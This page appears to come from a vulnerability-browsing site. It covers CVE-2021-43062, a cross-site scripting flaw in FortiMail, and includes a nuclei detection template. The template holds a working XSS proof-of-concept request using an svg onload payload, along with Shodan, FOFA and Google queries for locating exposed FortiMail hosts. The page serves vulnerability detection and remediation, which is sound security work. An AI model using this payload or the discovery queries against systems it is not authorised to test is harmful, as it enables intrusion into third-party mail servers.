Browse / CVEs / CVE-2021-43062
CVE-2021-43062· fortinet / fortimail· CWE-79
Fortinet FortiMail 7.0.1 - Cross-Site Scripting
A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Apply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail.
How to confirm it
Send: GET {{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)>
Positive when: contains "<Svg/onload=alert(document.domain)>" and "FortiMail Click Protection" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-43062 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-43062
info:
name: Fortinet FortiMail 7.0.1 - Cross-Site Scripting
author: ajaysenr
severity: medium
description: A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-43062
- https://www.fortiguard.com/psirt/FG-IR-21-185
- https://www.exploit-db.com/exploits/50759
- https://fortiguard.com/advisory/FG-IR-21-185
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-43062
cwe-id: CWE-79
epss-score: 0.12936
epss-percentile: 0.9635
cpe: cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: fortinet
product: fortimail
shodan-query: http.title:"fortimail"
fofa-query:
- title="fortimail"
- fortimail && port=443
google-query: intitle:"fortimail"
tags: cve,cve2021,fortimail,xss,fortinet,edb,vuln
http:
- method: GET
path:
- "{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<Svg/onload=alert(document.domain)>"
- "FortiMail Click Protection"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2021-43062
- https://www.fortiguard.com/psirt/FG-IR-21-185
- https://www.exploit-db.com/exploits/50759
- https://fortiguard.com/advisory/FG-IR-21-185
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from